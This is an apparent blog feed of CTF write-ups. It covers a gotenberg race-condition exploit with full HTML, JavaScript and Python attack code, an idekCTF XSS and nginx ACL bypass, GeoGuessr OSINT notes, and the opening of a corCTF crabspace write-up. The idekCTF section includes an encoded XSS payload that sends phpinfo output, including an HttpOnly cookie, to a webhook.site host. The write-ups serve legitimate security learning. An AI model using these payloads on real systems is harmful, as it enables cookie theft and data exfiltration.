<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.8.7">Jekyll</generator><link href="https://www.cjxol.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://www.cjxol.com/" rel="alternate" type="text/html" /><updated>2025-03-11T10:46:56+00:00</updated><id>https://www.cjxol.com/feed.xml</id><title type="html">cjxol.com</title><entry><title type="html">KalmarCTF 2025 Web G0tchaberg Writeup</title><link href="https://www.cjxol.com/posts/kalmar-ctf-2025-web-g0tchaberg-writeup/" rel="alternate" type="text/html" title="KalmarCTF 2025 Web G0tchaberg Writeup" /><published>2025-03-09T00:00:00+00:00</published><updated>2025-03-09T00:00:00+00:00</updated><id>https://www.cjxol.com/posts/kalmar-ctf-2025-web-g0tchaberg-writeup</id><content type="html" xml:base="https://www.cjxol.com/posts/kalmar-ctf-2025-web-g0tchaberg-writeup/"><![CDATA[<h2 id="the-challenge">The Challenge</h2>

<p>This challenge involved a bot periodically sending an HTML file containing the flag to a <a href="https://gotenberg.dev/">gotenberg</a> instance, which converts it to a PDF.. The version of gotenberg was the latest at the time of the CTF, 8.17.3.</p>

<p>The process runs continuously:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">while </span><span class="nb">true</span><span class="p">;</span> <span class="k">do
    </span>curl <span class="nt">-s</span> <span class="s1">'http://gotenberg:3000/forms/chromium/convert/html'</span> <span class="nt">--form</span> <span class="s1">'files=@"index.html"'</span> <span class="nt">-o</span> ./output.pdf
    <span class="nb">sleep </span>5
<span class="k">done</span>
</code></pre></div></div>

<h2 id="tracing-down-the-flag">Tracing Down the Flag</h2>

<p>Our goal is to extract the flag by interacting with the gotenberg instance.</p>

<p>With some <a href="https://github.com/gotenberg/gotenberg/blob/85eaef05ad0cf60917cd234f72433bcf85ef2f27/pkg/modules/chromium/routes.go">source code</a>.
) and experiments, I found that while a request is being processed:</p>
<ul>
  <li>The uploaded HTML file is stored in <code class="highlighter-rouge">/tmp/[UUID_A]/[UUID_B]/index.html</code>.</li>
  <li>The generated PDF file is saved in <code class="highlighter-rouge">/tmp/[UUID_A]/[UUID_B]/[UUID_C].pdf</code>.</li>
  <li><code class="highlighter-rouge">UUID_A</code> remains constant, but <code class="highlighter-rouge">UUID_B</code> is unique per request.</li>
  <li>Files are deleted once processing is complete.</li>
</ul>

<p>Since the flag is stored temporarily, I needed a way to access it before it was deleted.</p>

<h2 id="leaking-directory-paths">Leaking Directory Paths</h2>

<p>With iframe, it is possible to leak the content of another file on the server, or list the directory if the directory does not contain an <code class="highlighter-rouge">index.html</code> file. (I had to use relative path, somehow I could not get e.g. <code class="highlighter-rouge">file:///etc/passwd</code> to work, possibly due to browser security restrictions or I did something wrong).</p>

<p>With the simple payload, I was about to leak the temporary file locations:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;iframe</span> <span class="na">src=</span><span class="s">"../"</span> <span class="na">width=</span><span class="s">"1000px"</span> <span class="na">height=</span><span class="s">"1000px"</span><span class="nt">&gt;&lt;/iframe&gt;</span>
</code></pre></div></div>

<p><img src="/assets/image/kalmar-ctf-2025-web-g0tchaberg-writeup/leak-directory.png" alt="Screenshot of the PDF content of the leaked temporary directory" /></p>

<p>However, the flag files are deleted after the request is processed, I still need to find a way to get around this.</p>

<h2 id="make-the-flag-stay-longer">Make the Flag Stay Longer</h2>

<p>Reading the <a href="https://gotenberg.dev/docs/configuration#chromium">docs</a> of gotenberg, it runs a <strong>single</strong> Chromium instance, meaning the subsequent requests are queued while one is being processed. If the instance is busy, the subsequent uploaded HTML will be kept on the server until it is processed.</p>

<p>I created a large HTML files containing many iframes to make PDF rendering take some time (more than 5 seconds), and the last iframe lists the directory to the HTML file containing the flag.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;iframe</span> <span class="na">src=</span><span class="s">"../../"</span> <span class="na">width=</span><span class="s">"1000px"</span> <span class="na">height=</span><span class="s">"100px"</span><span class="nt">&gt;&lt;/iframe&gt;</span>
(800 of the same iframes)
<span class="nt">&lt;iframe</span> <span class="na">src=</span><span class="s">"../../"</span> <span class="na">width=</span><span class="s">"1000px"</span> <span class="na">height=</span><span class="s">"100px"</span><span class="nt">&gt;&lt;/iframe&gt;</span>
<span class="nt">&lt;iframe</span> <span class="na">src=</span><span class="s">"../"</span> <span class="na">width=</span><span class="s">"1000px"</span> <span class="na">height=</span><span class="s">"1000px"</span><span class="nt">&gt;&lt;/iframe&gt;</span>
</code></pre></div></div>

<p><img src="/assets/image/kalmar-ctf-2025-web-g0tchaberg-writeup/leak-directory2.png" alt="Screenshot of the PDF content of the leaked temporary directory with 2 subdirectories" /></p>

<p>In the example, it listed the directory of <code class="highlighter-rouge">/tmp/dfbe2bb7-e1ca-4cb4-ac55-f84aff6cd7dc/</code>, which contains two subdirectories <code class="highlighter-rouge">3118c7b5-0d4d-4317-afb5-90e216d5c1ce</code> and <code class="highlighter-rouge">5e1a4e83-99c3-4183-9967-842fa3c24fe3</code>. One of them is for the current request, and the other is for the flag queued afterwards. Say <code class="highlighter-rouge">5e1a4e83-99c3-4183-9967-842fa3c24fe3</code> is for the flag, the HTML file containing the flag is in <code class="highlighter-rouge">/tmp/dfbe2bb7-e1ca-4cb4-ac55-f84aff6cd7dc/5e1a4e83-99c3-4183-9967-842fa3c24fe3/index.html</code>.</p>

<h2 id="get-the-flag">Get the Flag</h2>

<p>Once I knew the flag’s location, I needed a way to read it before deletion. However, simply requesting the path would fail since files are deleted before the next request.</p>

<h3 id="using-javascript-for-dynamic-fetching">Using JavaScript for Dynamic Fetching</h3>

<p>JavaScript is executed on the Chromium instance, so I created a payload that dynamically fetches the leaked path and loads it into an iframe.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;!DOCTYPE html&gt;</span>
<span class="nt">&lt;html</span> <span class="na">lang=</span><span class="s">"en"</span><span class="nt">&gt;</span>
<span class="nt">&lt;head&gt;</span>
<span class="nt">&lt;/head&gt;</span>
<span class="nt">&lt;body&gt;</span>
  <span class="nt">&lt;iframe</span> <span class="na">src=</span><span class="s">"../"</span> <span class="na">width=</span><span class="s">"1000px"</span> <span class="na">height=</span><span class="s">"200px"</span><span class="nt">&gt;&lt;/iframe&gt;</span>
  (49 of the same iframes)
  <span class="nt">&lt;iframe</span> <span class="na">src=</span><span class="s">"../"</span> <span class="na">width=</span><span class="s">"1000px"</span> <span class="na">height=</span><span class="s">"200px"</span><span class="nt">&gt;&lt;/iframe&gt;</span>
  <span class="nt">&lt;script&gt;</span>
    <span class="nx">fetch</span><span class="p">(</span><span class="dl">'</span><span class="s1">https://example.com/uuids</span><span class="dl">'</span><span class="p">).</span><span class="nx">then</span><span class="p">(</span><span class="nx">response</span> <span class="o">=&gt;</span> <span class="nx">response</span><span class="p">.</span><span class="nx">json</span><span class="p">()).</span><span class="nx">then</span><span class="p">(</span><span class="nx">data</span> <span class="o">=&gt;</span> <span class="p">{</span>
      <span class="kd">const</span> <span class="nx">uuids</span> <span class="o">=</span> <span class="p">[</span><span class="nx">data</span><span class="p">.</span><span class="nx">uuids</span><span class="p">[</span><span class="mi">0</span><span class="p">]];</span>
      <span class="nx">uuids</span><span class="p">.</span><span class="nx">forEach</span><span class="p">(</span><span class="nx">uuid</span> <span class="o">=&gt;</span> <span class="p">{</span>
        <span class="kd">const</span> <span class="nx">iframe</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="dl">'</span><span class="s1">iframe</span><span class="dl">'</span><span class="p">);</span>
        <span class="nx">iframe</span><span class="p">.</span><span class="nx">src</span> <span class="o">=</span> <span class="s2">`../</span><span class="p">${</span><span class="nx">uuid</span><span class="p">}</span><span class="s2">/index.html`</span><span class="p">;</span>
        <span class="nx">iframe</span><span class="p">.</span><span class="nx">width</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">1000px</span><span class="dl">'</span><span class="p">;</span>
        <span class="nx">iframe</span><span class="p">.</span><span class="nx">height</span> <span class="o">=</span> <span class="dl">'</span><span class="s1">200px</span><span class="dl">'</span><span class="p">;</span>
        <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">iframe</span><span class="p">);</span>
      <span class="p">})</span>
    <span class="p">})</span>
  <span class="nt">&lt;/script&gt;</span>
<span class="nt">&lt;/body&gt;</span>
<span class="nt">&lt;/html&gt;</span>
</code></pre></div></div>

<p>In the payload, I also put a lot of iframes to make the JavaScript to have enough time to run. The server returns all of the directories listed, and it should contain the directory containing the flag, as well as the that request. As that request is processed first, and that directory will no longer exist, having an iframe with that path will make the PDF rendering fail, so I only take one of the UUIDs and hope it is the one containing the flag, thus it takes several attempts to get the flag.</p>

<h2 id="final-payload">Final Payload</h2>

<p>To time the exploit correctly, I automate the process with a Python script, which also automatically serves the leaked paths through HTTP.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">signal</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">from</span> <span class="nn">flask</span> <span class="kn">import</span> <span class="n">Flask</span>
<span class="kn">from</span> <span class="nn">flask_cors</span> <span class="kn">import</span> <span class="n">CORS</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">threading</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">re</span>

<span class="n">instance_address</span> <span class="o">=</span> <span class="s">'http://localhost:8642'</span>
<span class="n">instance_address</span> <span class="o">=</span> <span class="s">'https://7a70d65746ee40ceb53f099a7429b4d5-50133.inst3.chal-kalmarc.tf'</span>

<span class="n">app</span> <span class="o">=</span> <span class="n">Flask</span><span class="p">(</span><span class="n">__name__</span><span class="p">)</span>
<span class="n">CORS</span><span class="p">(</span><span class="n">app</span><span class="p">)</span>

<span class="n">uuids</span> <span class="o">=</span> <span class="p">[]</span>

<span class="o">@</span><span class="n">app</span><span class="p">.</span><span class="n">route</span><span class="p">(</span><span class="s">'/uuids'</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">return_uuids</span><span class="p">():</span>
    <span class="k">return</span> <span class="p">{</span><span class="s">'uuids'</span><span class="p">:</span> <span class="n">uuids</span><span class="p">}</span>

<span class="k">def</span> <span class="nf">upload</span><span class="p">(</span><span class="n">filename</span><span class="p">):</span>
    <span class="n">r</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span>
        <span class="sa">f</span><span class="s">'</span><span class="si">{</span><span class="n">instance_address</span><span class="si">}</span><span class="s">/forms/chromium/convert/html'</span><span class="p">,</span>
        <span class="n">files</span><span class="o">=</span><span class="p">{</span>
            <span class="s">'files'</span><span class="p">:</span> <span class="p">(</span><span class="s">'index.html'</span><span class="p">,</span> <span class="nb">open</span><span class="p">(</span><span class="n">filename</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)),</span>
        <span class="p">},</span>
    <span class="p">)</span>
    <span class="k">return</span> <span class="n">r</span>

<span class="k">def</span> <span class="nf">signal_handler</span><span class="p">(</span><span class="n">sig</span><span class="p">,</span> <span class="n">frame</span><span class="p">):</span>
    <span class="n">sys</span><span class="p">.</span><span class="nb">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">run_flask</span><span class="p">():</span>
    <span class="n">app</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">debug</span><span class="o">=</span><span class="bp">True</span><span class="p">,</span> <span class="n">use_reloader</span><span class="o">=</span><span class="bp">False</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">run_upload_payload1</span><span class="p">():</span>
    <span class="k">global</span> <span class="n">uuids</span>
    <span class="k">print</span><span class="p">(</span><span class="s">'Uploading payload1.html'</span><span class="p">,</span> <span class="n">flush</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
    <span class="nb">file</span> <span class="o">=</span> <span class="n">upload</span><span class="p">(</span><span class="s">'payload1.html'</span><span class="p">).</span><span class="n">content</span>
    <span class="n">uuid_pattern</span> <span class="o">=</span> <span class="sa">rb</span><span class="s">'\b[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-5][0-9a-fA-F]{3}-[89ABab][0-9a-fA-F]{3}-[0-9a-fA-F]{12}/[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-5][0-9a-fA-F]{3}-[89ABab][0-9a-fA-F]{3}-[0-9a-fA-F]{12}\b'</span>
    <span class="n">uuids</span> <span class="o">=</span> <span class="p">[</span><span class="n">uuid</span><span class="p">.</span><span class="n">decode</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="s">'/'</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="k">for</span> <span class="n">uuid</span> <span class="ow">in</span> <span class="n">re</span><span class="p">.</span><span class="n">findall</span><span class="p">(</span><span class="n">uuid_pattern</span><span class="p">,</span> <span class="nb">file</span><span class="p">)]</span> <span class="c1"># extract directories from the PDF
</span>    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">'</span><span class="si">{</span><span class="n">uuids</span><span class="o">=</span><span class="si">}</span><span class="s">'</span><span class="p">,</span> <span class="n">flush</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">run_upload_payload1_again</span><span class="p">():</span>
    <span class="k">print</span><span class="p">(</span><span class="s">'Uploading payload1.html again'</span><span class="p">,</span> <span class="n">flush</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
    <span class="n">upload</span><span class="p">(</span><span class="s">'payload1.html'</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">upload_payload2</span><span class="p">():</span>
    <span class="k">print</span><span class="p">(</span><span class="s">'Uploading payload2.html'</span><span class="p">,</span> <span class="n">flush</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">upload</span><span class="p">(</span><span class="s">'payload2.html'</span><span class="p">).</span><span class="n">content</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">'__main__'</span><span class="p">:</span>
    <span class="n">signal</span><span class="p">.</span><span class="n">signal</span><span class="p">(</span><span class="n">signal</span><span class="p">.</span><span class="n">SIGINT</span><span class="p">,</span> <span class="n">signal_handler</span><span class="p">)</span>

    <span class="n">flask_thread</span> <span class="o">=</span> <span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">run_flask</span><span class="p">,</span> <span class="n">daemon</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
    <span class="n">flask_thread</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>

    <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
    
    <span class="c1"># upload payload 1
</span>    <span class="n">upload_payload1_thread</span> <span class="o">=</span> <span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">run_upload_payload1</span><span class="p">)</span>
    <span class="n">upload_payload1_thread</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>

    <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.1</span><span class="p">)</span>

    <span class="c1"># upload payload 1 again to delay the server (not sure if necessary)
</span>    <span class="n">upload_payload1_again_thread</span> <span class="o">=</span> <span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">run_upload_payload1_again</span><span class="p">)</span>
    <span class="n">upload_payload1_again_thread</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>

    <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="c1"># make sure payload 2 is finishes upload after the first two requests as payload 1 is much larger
</span>
    <span class="c1"># upload payload 2
</span>    <span class="n">pdf</span> <span class="o">=</span> <span class="n">upload_payload2</span><span class="p">()</span>
    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">'flag.pdf'</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
        <span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">pdf</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="s">'Written to flag.pdf'</span><span class="p">,</span> <span class="n">flush</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
</code></pre></div></div>

<p>Flag: <code class="highlighter-rouge">kalmar{g0tcha!_well_done_that_was_fun_wasn't_it?_we_would_appreciate_if_you_create_a_ticket_with_your_solution}</code></p>

<p><img src="/assets/image/kalmar-ctf-2025-web-g0tchaberg-writeup/flag.png" alt="Screenshot of exported PDF of the flag contained in an iframe" /></p>

<h3 id="solution-summary">Solution summary</h3>

<p>Since there is only one chromium instance</p>

<p>I uploaded a HTML with a lot of iframes, with the last iframe <code class="highlighter-rouge">../</code> to leak the UUID when the bot uploads</p>

<p>I upload another of the same file immediately just to delay the process of the next request (not sure if necessary)</p>

<p>I upload another HTML with some iframes to give time for JS to run, with JS to load UUIDs from an endpoint set to UUIDs leaked and take a random of the (hopefully) 4 UUIDs returned from the endpoint and hoping it is the flag one, and append a iframe <code class="highlighter-rouge">../${uuid}/index.html</code></p>

<h2 id="afterthought">Afterthought</h2>

<p>After the CTF when I was browsing through the CTF Discord chat, I realised that instead of having a lot of iframes to delay the rendering I could have used <a href="https://gotenberg.dev/docs/routes#wait-before-rendering-chromium"><code class="highlighter-rouge">waitDelay</code> and <code class="highlighter-rouge">waitForExpression</code></a> to control the time delay and JavaScript completion which would have been more reliable and a lot easier.</p>]]></content><author><name></name></author><category term="ctf" /><category term="ctf writeup" /><category term="ctf web" /><summary type="html"><![CDATA[The Challenge]]></summary></entry><entry><title type="html">idekCTF Web and OSINT Writeup</title><link href="https://www.cjxol.com/posts/idekctf-2024-writeup/" rel="alternate" type="text/html" title="idekCTF Web and OSINT Writeup" /><published>2024-08-19T00:00:00+01:00</published><updated>2024-08-19T00:00:00+01:00</updated><id>https://www.cjxol.com/posts/idekctf-2024-writeup</id><content type="html" xml:base="https://www.cjxol.com/posts/idekctf-2024-writeup/"><![CDATA[<p>Notes on solving the web challenge and some GeoGuessr-style challenges (had a lot of luck).</p>

<h2 id="webhello">web/Hello</h2>

<h3 id="solution-tldr">Solution TLDR</h3>

<ul>
  <li>Bypass XSS characters filter</li>
  <li>Bypass nginx ACL rules for PHP</li>
</ul>

<h3 id="challenge-and-solution">Challenge and Solution</h3>

<p>Relatively easy challenge, with 161 solves. I built the payload iteratively to bypass the restrictions.</p>

<p>My teammate solved and submitted the flag about 36 minutes before I did xD.</p>

<p>Challenge goal is to get the flag set by the admin bot in the “HttpOnly” cookie. The <code class="highlighter-rouge">index.php</code> page is XSS-able, and and <code class="highlighter-rouge">info.php</code> page dumps <code class="highlighter-rouge">phpinfo()</code>, which shows the cookies in the request, including HttpOnly cookies.</p>

<div class="language-nginx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">location</span> <span class="p">=</span> <span class="n">/info.php</span> <span class="p">{</span>
    <span class="kn">allow</span> <span class="mi">127</span><span class="s">.0.0.1</span><span class="p">;</span>
    <span class="kn">deny</span> <span class="s">all</span><span class="p">;</span>
<span class="p">}</span>

<span class="k">location</span> <span class="p">~</span> <span class="sr">\.php$</span> <span class="p">{</span>
    <span class="kn">root</span>           <span class="n">/usr/share/nginx/html</span><span class="p">;</span>
    <span class="kn">fastcgi_param</span>  <span class="s">SCRIPT_FILENAME</span>  <span class="nv">$document_root$fastcgi_script_name</span><span class="p">;</span>
    <span class="kn">include</span> <span class="s">fastcgi_params</span><span class="p">;</span>  
    <span class="kn">fastcgi_pass</span> <span class="s">unix:/var/run/php/php8.2-fpm.sock</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>However, as shown above, <code class="highlighter-rouge">nginx.conf</code> blocks access to <code class="highlighter-rouge">info.php</code>, and admin bot cannot acess it either. Referencing to <a href="https://book.hacktricks.xyz/pentesting-web/proxy-waf-protections-bypass">HackTricks</a>, it can be bypassed with <code class="highlighter-rouge">http://idek-hello.chal.idek.team:1337/info.php/a.php</code>, where nginx does not match to <code class="highlighter-rouge">location = /info.php</code>, instead it matches to <code class="highlighter-rouge">location ~ \.php$</code> and PHP FPM processes with <code class="highlighter-rouge">info.php</code>.</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">function</span> <span class="n">Enhanced_Trim</span><span class="p">(</span><span class="nv">$inp</span><span class="p">)</span> <span class="p">{</span>
    <span class="nv">$trimmed</span> <span class="o">=</span> <span class="k">array</span><span class="p">(</span><span class="s2">"</span><span class="se">\r</span><span class="s2">"</span><span class="p">,</span> <span class="s2">"</span><span class="se">\n</span><span class="s2">"</span><span class="p">,</span> <span class="s2">"</span><span class="se">\t</span><span class="s2">"</span><span class="p">,</span> <span class="s2">"/"</span><span class="p">,</span> <span class="s2">" "</span><span class="p">);</span>
    <span class="k">return</span> <span class="nb">str_replace</span><span class="p">(</span><span class="nv">$trimmed</span><span class="p">,</span> <span class="s2">""</span><span class="p">,</span> <span class="nv">$inp</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">if</span><span class="p">(</span><span class="k">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'name'</span><span class="p">]))</span>
<span class="p">{</span>
    <span class="nv">$name</span><span class="o">=</span><span class="nb">substr</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'name'</span><span class="p">],</span><span class="mi">0</span><span class="p">,</span><span class="mi">23</span><span class="p">);</span>
    <span class="k">echo</span> <span class="s2">"Hello, "</span><span class="mf">.</span><span class="nf">Enhanced_Trim</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'name'</span><span class="p">]);</span>
<span class="p">}</span>
</code></pre></div></div>

<p><code class="highlighter-rouge">index.php</code> is XSS injectable, however it does not allow some characters. It was not able to have <code class="highlighter-rouge">&lt;/script&gt;</code> closing tag, and I did not get <code class="highlighter-rouge">script</code> tag without closing tag or using <code class="highlighter-rouge">\</code> instead of <code class="highlighter-rouge">/</code> in the closing tag work. I used <code class="highlighter-rouge">&lt;img&gt;</code> tag with <code class="highlighter-rouge">onerror</code> to make the script to run (<code class="highlighter-rouge">src</code> attribute was necessary too).</p>

<p>The tag looks like this:</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;img</span> <span class="na">src=</span><span class="s">a</span> <span class="na">onerror=</span><span class="s">"fetch('\\info.php\\a.php').then(r=&gt;r.text()).then(r=&gt;fetch('https:\\\\webhook.site\\[REDACTED]',{method:'POST',body:r}))"</span><span class="nt">&gt;</span>
</code></pre></div></div>

<p>The <code class="highlighter-rouge">/</code> in the URLs above are replaced with <code class="highlighter-rouge">\</code> to bypass the filter (<code class="highlighter-rouge">\\</code> because of escape. It was only escaped once in JavaScript, HTML does not use <code class="highlighter-rouge">/</code> escape), and it still works.</p>

<p>Replacing space <code class="highlighter-rouge">%20</code> with <code class="highlighter-rouge">%0C</code> to bypass filter, and the encoded payload for admin bot is below:</p>

<div class="highlighter-rouge"><div class="highlight"><pre class="highlight"><code>http://idek-hello.chal.idek.team:1337/?name=%3Cimg%0Csrc%3Da%0Conerror%3D%22fetch%28%27%5C%5Cinfo%2Ephp%5C%5Ca%2Ephp%27%29%2Ethen%28r%3D%3Er%2Etext%28%29%29%2Ethen%28r%3D%3Efetch%28%27https%3A%5C%5C%5C%5Cwebhook%2Esite%5C%5C%5BREDACTED%5D%27%2C%7Bmethod%3A%27POST%27%2Cbody%3Ar%7D%29%29%22%3E%0A
</code></pre></div></div>

<h2 id="miscnmpz-geoguessr-style">misc/NM<del>PZ</del> (GeoGuessr-style)</h2>

<p>This is some notes on my process of solving some of the challenges with the team (also with a lot of luck involved). It may contain some errors due to limited knowledge on different locations, and just write about observations and knowledge gathered during solving the challenge.</p>

<p><em>Image sizes are reduced in the blogpost.</em></p>

<p>Some useful resources for GeoGuessr-style challenges:</p>

<ol>
  <li>
    <p><a href="https://geohints.com/">GeoHints</a> Categorised by different meta or features, useful for example to look up which country the Google car in the task could be in.</p>
  </li>
  <li>
    <p><a href="https://www.plonkit.net/guide">Plonk It</a> Text and image guides categorised by countries. Useful to confirm countries or try to region-guess. Google “site:www.plonkit.net stuff” as example in drunk_driving task below</p>
  </li>
  <li>
    <p><a href="https://geotips.net/">GeoTips</a> Similiar to Plonk It</p>
  </li>
  <li>
    <p><a href="https://overpass-turbo.eu/">overpass turbo</a> Powerful to query features</p>
  </li>
  <li>
    <p>Many of the shared docs e.g. for country/region specific details</p>
  </li>
</ol>

<h3 id="drunk_driving-medium-rwanda">drunk_driving (medium, Rwanda)</h3>

<p>Saw lamppost with “NR 10 166” painted on it.</p>

<p><img src="/assets/image/idekctf2024/rwanda-lamppost-paint.png" alt="Paint on the lamppost in the challenge" /></p>

<p>We could not decide the country to start with through some meta information.</p>

<p>I Googled <code class="highlighter-rouge">site:www.plonkit.net nr</code>, and it linked to a GeoGuessr guide page on Rwanda. With the road number NR 10, teammate solved the task.</p>

<p><img src="/assets/image/idekctf2024/nr-google-search-result.png" alt="Screenshot of the Google search result" /></p>

<h3 id="beach_property-medium-brazil">beach_property (medium, Brazil)</h3>

<p>Find the very unique-looking building, screenshot and search the image with Google Lens, find it to be the Veleiros Mar hotel in São Luís, Brazil. Then my teammate marked the location on the map to complete this task.</p>

<p><img src="/assets/image/idekctf2024/veleiros-mar.png" alt="Screenshot of Veleiros Mar hotel in the challenge" /></p>

<h3 id="idek_islands-medium-us-virgin-islands">idek_islands (medium, U.S. Virgin Islands)</h3>

<p>Teammates identified through meta (Google car etc.) the location is in U.S. Virgin Islands, and likely to be in the island in the north. The location is by the coast, with coastline kinda concaves, and with buildings nearby. The shadows points inwards the land.</p>

<p>I started searching through the south coast of the two main islands in the north of U.S. Virgin Islands, by looking at the street view coverage finding the roads close to coast, and sometimes enter into street view to check. Eventually found a road with street view coverage near the coast, and the buildings in the satellite view looks matching the ones in the image. It did not take too long. Entered street view and confirmed the location matches.</p>

<h3 id="rise_above-hard-indonesia">rise_above (hard, Indonesia)</h3>

<p>It took a long time to solve this one.</p>

<p>Teammates identified the location in in Indonesia. There is top of a church in the image, signs on the other building saying “RUMAH KEPALA JAGA 1”, and teammate also identified the “Indonesian Democratic Party of Struggle” flag in the image.</p>

<p>I position Google maps at Indonesia and looked up “rumah kepala jaga”, it showed the name with other numbers but not “1”. I looked through some of the locations however non of them was the location. They were mostly located east-most of Sulawesi Utara on one of the main island. There were also a village with many of the same flags in the image, however that village had a church looked different. Then I zoomed out the map a bit and looked up “church” in the area, and the 2nd church I clicked on and entered street view to see was the church I was looking for (extremely lucky I guess).</p>]]></content><author><name></name></author><category term="ctf" /><category term="ctf writeup" /><category term="ctf web" /><category term="ctf misc" /><category term="ctf osint" /><category term="ctf geoguessr" /><summary type="html"><![CDATA[Notes on solving the web challenge and some GeoGuessr-style challenges (had a lot of luck).]]></summary></entry><entry><title type="html">corCTF 2023 web/crabspace Writeup</title><link href="https://www.cjxol.com/posts/corctf-2023-crabspace-web-writeup/" rel="alternate" type="text/html" title="corCTF 2023 web/crabspace Writeup" /><published>2023-08-01T00:00:00+01:00</published><updated>2023-08-01T00:00:00+01:00</updated><id>https://www.cjxol.com/posts/corctf-2023-crabspace-web-writeup</id><content type="html" xml:base="https://www.cjxol.com/posts/corctf-2023-crabspace-web-writeup/"><![CDATA[<p><a href="https://2023.cor.team/challs">corCTF</a><br />
<a href="https://ctftime.org/event/1928">Event on CTFtime</a></p>

<p>It was a team effort for us to solve this challenge. I learned something new about WebRTC.</p>

<h2 id="solution-summary">Solution summary</h2>

<ul>
  <li>SSTI in <code class="highlighter-rouge">Tera::one_off</code> to leak secret</li>
  <li>WebRTC to bypass CSP restrictions and exfiltrate admin user ID</li>
  <li>Forge admin cookie with admin user ID and secret to gain access to admin view</li>
  <li>Follow admin account and sort following accounts on password field to leak admin password (which is the flag)</li>
</ul>

<h2 id="crabspace">crabspace</h2>

<ul>
  <li>Description:
    <blockquote>
      <p>Now that Twitter is 🦀 gone 🦀, it’s time for a new social media platform.<br />
  🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀🦀</p>
    </blockquote>
  </li>
  <li>Author: Strellic</li>
</ul>

<p>The source code is provided. I can create users, edit my “space”, view other users’ “space”s, and follow other users.</p>

<p><img src="/assets/image/corctf-2023-crabspace-web-writeup/crabspace.png" alt="crabspace" /></p>

<p>To view a user’s “space”, visit <code class="highlighter-rouge">/space/&lt;user id&gt;</code>, The user id is UUIDv4 generated when the user is created. The “space” content is rendered in an <code class="highlighter-rouge">iframe</code>, with the content in the <code class="highlighter-rouge">iframe</code>’s <code class="highlighter-rouge">srcdoc</code> attribute.</p>

<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;iframe</span> <span class="na">sandbox=</span><span class="s">"allow-scripts"</span>
<span class="na">srcdoc=</span><span class="s">"&lt;link rel='stylesheet' href='/public/axist.min.css' /&gt;{{ space }}"</span> <span class="na">class=</span><span class="s">"space"</span><span class="nt">&gt;&lt;/iframe&gt;</span>
</code></pre></div></div>

